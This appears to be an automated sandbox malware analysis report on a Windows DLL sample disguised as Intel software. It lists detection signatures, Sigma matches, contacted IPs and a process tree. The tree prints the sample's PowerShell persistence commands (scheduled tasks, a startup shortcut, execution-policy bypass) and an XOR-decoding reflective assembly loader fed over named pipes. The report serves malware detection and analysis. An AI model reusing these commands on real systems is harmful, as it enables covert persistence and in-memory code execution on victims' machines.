Edit tour

Windows Analysis Report
JkICQ13OOY.dll

Overview

General Information

Sample name:	JkICQ13OOY.dll (renamed file extension from exe to dll, renamed because original name is a hash value)
Original sample name:	c6aad319fcaa6c5f87dc49805d5e287f1870e61e0b93e17b4da556865c212e25.dll.exe
Analysis ID:	1576677
MD5:	cf174c5741c4dce62fb76c183b5b36d5
SHA1:	b982d92cac5d045a983b16033c701e59be93f133
SHA256:	c6aad319fcaa6c5f87dc49805d5e287f1870e61e0b93e17b4da556865c212e25
Tags:	exeuser-JAMESWT_MHT
Infos:

Detection

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

System process connects to network (likely due to code injection or exploit)

AI detected suspicious sample

Bypasses PowerShell execution policy

Powershell creates an autostart link

Sigma detected: Potential Startup Shortcut Persistence Via PowerShell.EXE

Sigma detected: Potentially Suspicious PowerShell Child Processes

Suspicious powershell command line found

Uses schtasks.exe or at.exe to add and modify task schedules

Windows shortcut file (LNK) contains suspicious command line arguments

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains sections with non-standard names

PE file contains strange resources

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Potential Dosfuscation Activity

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Schtasks From Env Var Folder

Stores files to the Windows start menu directory

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Classification

Process Tree

System is w10x64

loaddll64.exe (PID: 2792 cmdline: loaddll64.exe "C:\Users\user\Desktop\JkICQ13OOY.dll" MD5: 763455F9DCB24DFEECC2B9D9F8D46D52)

conhost.exe (PID: 2052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6720 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",#1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

rundll32.exe (PID: 4232 cmdline: rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",#1 MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 2192 cmdline: rundll32.exe C:\Users\user\Desktop\JkICQ13OOY.dll,DllMainer MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 5156 cmdline: rundll32.exe C:\Users\user\Desktop\JkICQ13OOY.dll,DllMainerInstall MD5: EF3179D498793BF4234F708D3BE28633)

taskkill.exe (PID: 4508 cmdline: "taskkill" /F /IM powershell.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 6656 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 6936 cmdline: "schtasks.exe" /Delete /TN IntelProfileUpdater_Helper /F MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 5796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 5728 cmdline: "schtasks.exe" /Delete /TN IntelProfileUpdater_OnLogOnDaily /F MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 988 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3560 cmdline: "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\"" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5636 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7200 cmdline: "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_OnLogOnDaily /xml C:\Users\user\AppData\Local\task.xml MD5: 76CD6626DD8834BD4A42E6A565104DC2)

powershell.exe (PID: 7236 cmdline: "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_Helper\" /xml \"C:\Users\user\AppData\Local\task.xml\"" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7452 cmdline: "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_Helper /xml C:\Users\user\AppData\Local\task.xml MD5: 76CD6626DD8834BD4A42E6A565104DC2)

rundll32.exe (PID: 7340 cmdline: rundll32.exe C:\Users\user\Desktop\JkICQ13OOY.dll,DllMainerInstallUserOnly MD5: EF3179D498793BF4234F708D3BE28633)

taskkill.exe (PID: 7492 cmdline: "taskkill" /F /IM powershell.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 7500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7552 cmdline: "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $WScriptShell = New-Object -ComObject WScript.Shell $Shortcut = $WScriptShell.CreateShortcut('C:\Users\user\AppData\Roaming/Microsoft/Windows/Start Menu/Programs/Startup/IntelManagementuser.lnk') $Shortcut.TargetPath = 'powershell.exe' $Shortcut.Description = 'The Intel Management user (ME) is an embedded microcontroller running on a dedicated microprocessor integrated into Intel chipsets.' $Shortcut.Arguments = '-NoProfile -ExecutionPolicy Bypass -Command C:\Windows\System32\rundll32.exe "C:\Users\user\AppData\Roaming/IntelManagementUnit/Mainer.dll",DllMainerUserOnly' $Shortcut.WindowStyle = 7 $Shortcut.Save() MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rundll32.exe (PID: 7688 cmdline: rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",DllMainer MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 7696 cmdline: rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",DllMainerInstall MD5: EF3179D498793BF4234F708D3BE28633)

taskkill.exe (PID: 7524 cmdline: "taskkill" /F /IM powershell.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 7284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 3784 cmdline: "schtasks.exe" /Delete /TN IntelProfileUpdater_Helper /F MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 2812 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7208 cmdline: "schtasks.exe" /Delete /TN IntelProfileUpdater_OnLogOnDaily /F MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 8100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7280 cmdline: "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\"" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 8068 cmdline: "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_OnLogOnDaily /xml C:\Users\user\AppData\Local\task.xml MD5: 76CD6626DD8834BD4A42E6A565104DC2)

powershell.exe (PID: 7868 cmdline: "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_Helper\" /xml \"C:\Users\user\AppData\Local\task.xml\"" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7272 cmdline: "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_Helper /xml C:\Users\user\AppData\Local\task.xml MD5: 76CD6626DD8834BD4A42E6A565104DC2)

rundll32.exe (PID: 7704 cmdline: rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",DllMainerInstallUserOnly MD5: EF3179D498793BF4234F708D3BE28633)

taskkill.exe (PID: 7104 cmdline: "taskkill" /F /IM powershell.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 3620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7300 cmdline: "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $WScriptShell = New-Object -ComObject WScript.Shell $Shortcut = $WScriptShell.CreateShortcut('C:\Users\user\AppData\Roaming/Microsoft/Windows/Start Menu/Programs/Startup/IntelManagementuser.lnk') $Shortcut.TargetPath = 'powershell.exe' $Shortcut.Description = 'The Intel Management user (ME) is an embedded microcontroller running on a dedicated microprocessor integrated into Intel chipsets.' $Shortcut.Arguments = '-NoProfile -ExecutionPolicy Bypass -Command C:\Windows\System32\rundll32.exe "C:\Users\user\AppData\Roaming/IntelManagementUnit/Mainer.dll",DllMainerUserOnly' $Shortcut.WindowStyle = 7 $Shortcut.Save() MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rundll32.exe (PID: 7720 cmdline: rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",Dummy MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 7732 cmdline: rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",DotNetRuntimeDebugHeader MD5: EF3179D498793BF4234F708D3BE28633)

WerFault.exe (PID: 2444 cmdline: C:\Windows\system32\WerFault.exe -u -p 7732 -s 380 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

rundll32.exe (PID: 7744 cmdline: rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",DllMainerUserOnly MD5: EF3179D498793BF4234F708D3BE28633)

powershell.exe (PID: 7564 cmdline: "powershell.exe" -ExecutionPolicy Bypass -Command "Write-Host 'Dummy process started. Press Ctrl+C to exit.'; while ($true) { try { Start-Sleep -Seconds 1 } catch { Write-Host 'Close signal received. Exiting...'; break } }" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7240 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7904 cmdline: "powershell.exe" -ExecutionPolicy Bypass -Command "function Load-Assembly($asmBytes) { # XOR the assembly byte array $xorKey = 164 [byte[]] $decodedBytes = New-Object byte[] $asmBytes.Length for ($i = 0; $i -lt $asmBytes.Length; $i++) { $decodedBytes[$i] = $asmBytes[$i] -bxor $xorKey } # Load the assembly from the modified byte array $assembly = [System.Reflection.Assembly]::Load($decodedBytes) # Search for a Program class and a Main method to invoke $programType = $assembly.GetType(\"Program\", $false) if ($programType -ne $null) { $mainMethod = $programType.GetMethod(\"Main\", [System.Reflection.BindingFlags] \"Static,Public,NonPublic\") if ($mainMethod -ne $null -and $mainMethod.GetParameters().Length -eq 1 -and $mainMethod.GetParameters()[0].ParameterType -eq [string[]]) { $arguments = [System.String[]]@(\"--powershell\") $mainMethod.Invoke($null, [System.Object[]]@(,$arguments)) } else { #throw \"No entry point found.\"; } } else { #throw \"Program class not found.\"; } } $a = [System.Reflection.Assembly]::LoadFrom(\"C:\Users\user\AppData\Roaming\IntelManagementUnit\FSharp.Core.All.dll\"); $in_pipe = New-Object System.IO.Pipes.NamedPipeClientStream(\"GLSXQXRVFAHVDEQYPRSDVGLAEEFHUSGJKSWIUJCYTRNPAMDOUHMAIYAEEBPXFFTUYFACQTGLCVYRNSSHYWFWFOKLAJSVUCDOKGIGITRSISPPMSNOBNSJHLJGXIPDNLBS\"); $in_pipe.Connect(); # Get the current process ID $processId = [System.Diagnostics.Process]::GetCurrentProcess().Id # Convert the process ID to byte array $bytes = [System.BitConverter]::GetBytes($processId) # Assuming $in_pipe is a System.IO.Pipes.PipeStream or similar # You would write the byte array to it like this: $in_pipe.Write($bytes, 0, $bytes.Length) $in_pipe.Flush() $buffer = new-object byte[] 98616;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 156160;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 21504;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1012 cmdline: "powershell.exe" -ExecutionPolicy Bypass -Command "function Load-Assembly($asmBytes) { # XOR the assembly byte array $xorKey = 164 [byte[]] $decodedBytes = New-Object byte[] $asmBytes.Length for ($i = 0; $i -lt $asmBytes.Length; $i++) { $decodedBytes[$i] = $asmBytes[$i] -bxor $xorKey } # Load the assembly from the modified byte array $assembly = [System.Reflection.Assembly]::Load($decodedBytes) # Search for a Program class and a Main method to invoke $programType = $assembly.GetType(\"Program\", $false) if ($programType -ne $null) { $mainMethod = $programType.GetMethod(\"Main\", [System.Reflection.BindingFlags] \"Static,Public,NonPublic\") if ($mainMethod -ne $null -and $mainMethod.GetParameters().Length -eq 1 -and $mainMethod.GetParameters()[0].ParameterType -eq [string[]]) { $arguments = [System.String[]]@(\"--powershell\") $mainMethod.Invoke($null, [System.Object[]]@(,$arguments)) } else { #throw \"No entry point found.\"; } } else { #throw \"Program class not found.\"; } } $a = [System.Reflection.Assembly]::LoadFrom(\"C:\Users\user\AppData\Roaming\IntelManagementUnit\FSharp.Core.All.dll\"); $in_pipe = New-Object System.IO.Pipes.NamedPipeClientStream(\"LXUACJGCHJQDEYDGSNQXYJQGFJMGQKRJPWRHKFILVEKMQAQLQIGQRGMOGMXGBBDBLKMWPJKULMBQPXWHUFCXYTKCBESBUWOKFPHBSEPSYYAUBJXTYXPNJDXVBPCECGSP\"); $in_pipe.Connect(); # Get the current process ID $processId = [System.Diagnostics.Process]::GetCurrentProcess().Id # Convert the process ID to byte array $bytes = [System.BitConverter]::GetBytes($processId) # Assuming $in_pipe is a System.IO.Pipes.PipeStream or similar # You would write the byte array to it like this: $in_pipe.Write($bytes, 0, $bytes.Length) $in_pipe.Flush() $buffer = new-object byte[] 98616;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 156160;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 18944;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4188 cmdline: "powershell.exe" -ExecutionPolicy Bypass -Command "function Load-Assembly($asmBytes) { # XOR the assembly byte array $xorKey = 164 [byte[]] $decodedBytes = New-Object byte[] $asmBytes.Length for ($i = 0; $i -lt $asmBytes.Length; $i++) { $decodedBytes[$i] = $asmBytes[$i] -bxor $xorKey } # Load the assembly from the modified byte array $assembly = [System.Reflection.Assembly]::Load($decodedBytes) # Search for a Program class and a Main method to invoke $programType = $assembly.GetType(\"Program\", $false) if ($programType -ne $null) { $mainMethod = $programType.GetMethod(\"Main\", [System.Reflection.BindingFlags] \"Static,Public,NonPublic\") if ($mainMethod -ne $null -and $mainMethod.GetParameters().Length -eq 1 -and $mainMethod.GetParameters()[0].ParameterType -eq [string[]]) { $arguments = [System.String[]]@(\"--powershell\") $mainMethod.Invoke($null, [System.Object[]]@(,$arguments)) } else { #throw \"No entry point found.\"; } } else { #throw \"Program class not found.\"; } } $a = [System.Reflection.Assembly]::LoadFrom(\"C:\Users\user\AppData\Roaming\IntelManagementUnit\FSharp.Core.All.dll\"); $in_pipe = New-Object System.IO.Pipes.NamedPipeClientStream(\"MKVJMXBCRWWOUVEMTDUWQIHXBQGAJWWVNHRKQRRWQFJJKQLQDUAMSCSMTRQMPIGQMRUXJCBJAWINPSYTEBWUSBXLEFTCFYAERPGJYGUJVRKAINIJYABRUTKDFRYTLNAF\"); $in_pipe.Connect(); # Get the current process ID $processId = [System.Diagnostics.Process]::GetCurrentProcess().Id # Convert the process ID to byte array $bytes = [System.BitConverter]::GetBytes($processId) # Assuming $in_pipe is a System.IO.Pipes.PipeStream or similar # You would write the byte array to it like this: $in_pipe.Write($bytes, 0, $bytes.Length) $in_pipe.Flush() $buffer = new-object byte[] 98616;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 3887104;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rundll32.exe (PID: 7756 cmdline: rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",DllMainerSmartAndSilent MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 7680 cmdline: rundll32.exe Mainer.dll,Dummy MD5: EF3179D498793BF4234F708D3BE28633)

svchost.exe (PID: 7612 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Sigma Signatures

System Summary

Sigma detected: Potential Startup Shortcut Persistence Via PowerShell.EXE

Source: File created

Author: Christopher Peacock '@securepeacock', SCYTHE: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7552, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IntelManagementuser.lnk

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_OnLogOnDaily /xml C:\Users\user\AppData\Local\task.xml, CommandLine: "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_OnLogOnDaily /xml C:\Users\user\AppData\Local\task.xml, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\"", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3560, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_OnLogOnDaily /xml C:\Users\user\AppData\Local\task.xml, ProcessId: 7200, ProcessName: schtasks.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\"", CommandLine: "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\"", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: rundll32.exe C:\Users\user\Desktop\JkICQ13OOY.dll,DllMainerInstall, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 5156, ParentProcessName: rundll32.exe, ProcessCommandLine: "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\"", ProcessId: 3560, ProcessName: powershell.exe

Sigma detected: Potential Dosfuscation Activity

Source: Process started

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: Command: "powershell.exe" -ExecutionPolicy Bypass -Command "function Load-Assembly($asmBytes) { # XOR the assembly byte array $xorKey = 164 [byte[]] $decodedBytes = New-Object byte[] $asmBytes.Length for ($i = 0; $i -lt $asmBytes.Length; $i++) { $decodedBytes[$i] = $asmBytes[$i] -bxor $xorKey } # Load the assembly from the modified byte array $assembly = [System.Reflection.Assembly]::Load($decodedBytes) # Search for a Program class and a Main method to invoke $programType = $assembly.GetType(\"Program\", $false) if ($programType -ne $null) { $mainMethod = $programType.GetMethod(\"Main\", [System.Reflection.BindingFlags] \"Static,Public,NonPublic\") if ($mainMethod -ne $null -and $mainMethod.GetParameters().Length -eq 1 -and $mainMethod.GetParameters()[0].ParameterType -eq [string[]]) { $arguments = [System.String[]]@(\"--powershell\") $mainMethod.Invoke($null, [System.Object[]]@(,$arguments)) } else { #throw \"No entry point found.\"; } } else { #throw \"Program class not found.\"; } } $a = [System.Reflection.Assembly]::LoadFrom(\"C:\Users\user\AppData\Roaming\IntelManagementUnit\FSharp.Core.All.dll\"); $in_pipe = New-Object System.IO.Pipes.NamedPipeClientStream(\"GLSXQXRVFAHVDEQYPRSDVGLAEEFHUSGJKSWIUJCYTRNPAMDOUHMAIYAEEBPXFFTUYFACQTGLCVYRNSSHYWFWFOKLAJSVUCDOKGIGITRSISPPMSNOBNSJHLJGXIPDNLBS\"); $in_pipe.Connect(); # Get the current process ID $processId = [System.Diagnostics.Process]::GetCurrentProcess().Id # Convert the process ID to byte array $bytes = [System.BitConverter]::GetBytes($processId) # Assuming $in_pipe is a System.IO.Pipes.PipeStream or similar # You would write the byte array to it like this: $in_pipe.Write($bytes, 0, $bytes.Length) $in_pipe.Flush() $buffer = new-object byte[] 98616;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 156160;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 21504;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;", CommandLine: "powershell.exe" -ExecutionPolicy Bypass -Command "function Load-Assembly($asmBytes) { # XOR the assembly byte array $xorKey = 164 [byte[]] $decodedBytes = New-Object byte[] $asmBytes.Length for ($i = 0; $i -lt $asmBytes.Length; $i++) { $decodedBytes[$i] = $asmBytes[$i] -bxor $xorKey } # Load the assembly from the modified byte array $assembly = [System.Reflection.Assembly]::Load($decodedBytes) # Search for a Program class and a Main method to invoke $programType = $assembly.GetType(\"Program\", $false) if ($programType -ne $null) { $mainMethod = $programType.GetMethod(\"Main\", [System.Reflection.BindingFlags] \"Static,Public,NonPublic\") if ($mainMethod -ne $null -and $mainMethod.GetParameters().

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7552, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IntelManagementuser.lnk

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_OnLogOnDaily /xml C:\Users\user\AppData\Local\task.xml, CommandLine: "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_OnLogOnDaily /xml C:\Users\user\AppData\Local\task.xml, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\"", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3560, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_OnLogOnDaily /xml C:\Users\user\AppData\Local\task.xml, ProcessId: 7200, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\"", CommandLine: "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\"", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: rundll32.exe C:\Users\user\Desktop\JkICQ13OOY.dll,DllMainerInstall, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 5156, ParentProcessName: rundll32.exe, ProcessCommandLine: "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\"", ProcessId: 3560, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7612, ProcessName: svchost.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.4% probability

Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\IntelProfileUpdater	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\IntelProfileUpdater\logs.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\IntelProfileUpdater\error.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\IntelProfileUpdater	Jump to behavior

Source: C:\Windows\System32\rundll32.exe

File created: C:\Users\user\Desktop\InstallError.txt

Jump to behavior

Source: unknown	HTTPS traffic detected: 104.244.76.24:443 -> 192.168.2.6:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 84.19.176.161:443 -> 192.168.2.6:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.244.76.24:443 -> 192.168.2.6:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 84.19.176.161:443 -> 192.168.2.6:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 107.189.8.65:443 -> 192.168.2.6:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 107.189.8.65:443 -> 192.168.2.6:49796 version: TLS 1.2

Source: JkICQ13OOY.dll

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source:

